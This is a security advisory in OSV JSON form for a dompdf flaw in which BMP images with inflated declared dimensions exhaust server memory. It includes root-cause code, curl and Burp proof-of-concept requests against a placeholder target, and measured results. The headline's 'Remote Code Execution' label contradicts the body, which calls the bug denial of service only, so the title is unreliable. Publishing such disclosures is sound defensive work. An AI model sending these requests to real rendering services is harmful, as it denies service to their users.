CVE-2026-59941: Dompdf Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8hg6-c449-896m",
  "modified" : "2026-07-22T22:50:34Z",
  "published" : "2026-07-22T22:50:34Z",
  "aliases" : [ "CVE-2026-59941" ],
  "summary" : "Dompdf: Uncontrolled resource consumption based on declared BMP dimensions",
  "details" : "### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000×6000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP's native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,…` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone — no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());\nif (($width && $height && in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n    throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n    $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n    $width  = (int) $meta[\"width\"];\n    $height = (int) $meta[\"height\"];\n    $type   = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869  — native decoder is tried FIRST on PHP >= 7.2\nif (function_exists(\"imagecreatefrombmp\") && ($im = imagecreatefrombmp($filename)) !== false) {\n    return $im;\n}\n// src/Helpers.php:940  — hand-rolled fallback\n$im = imagecreatetruecolor($meta['width'], $meta['height']);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `<img src=\"data:image/bmp;base64,…\">` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `<img>` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas — via the native `imagecreatefrombmp()` on PHP ≥ 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n<html><body><img src=\"\" style=\"width:1px;height:1px\"></body></html>\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000×6000`. The CSS `width:1px;height:1px` does not help the defender — the intrinsic decode happens regardless.)\n \n### 1 — Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize  => 6000x6000 type=bmp\nimagecreatefrombmp   => GdImage 6000x6000   (allocated from a 58-byte file)\nMaximum resident set size: 160 MB        (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB           <-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so `memory_limit` does not bound it.\n \n### 2 — Full `Dompdf::render()`\n \n```\ndeclared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB\ndeclared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB\n```\n \n### 3 — HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n  --data-binary '<html><body><img src=\"\" style=\"width:1px;height:1px\"></body></html>' \\\n  -o /dev/null -w 'http=%{http_code} time=%{time_total}s\\n'\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n<html><body><img src=\"\" style=\"width:1px;height:1px\"></body></html>\n```\n \nObserved (peak RSS read from the worker's `/proc/<pid>/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000  request=169 B  -> 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s\n[CONTROL] declared 10x10      request=169 B  -> 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall <0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width × height`, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "dompdf/dompdf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dompdf/dompdf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-22T22:50:34Z",
    "nvd_published_at" : null
  }
}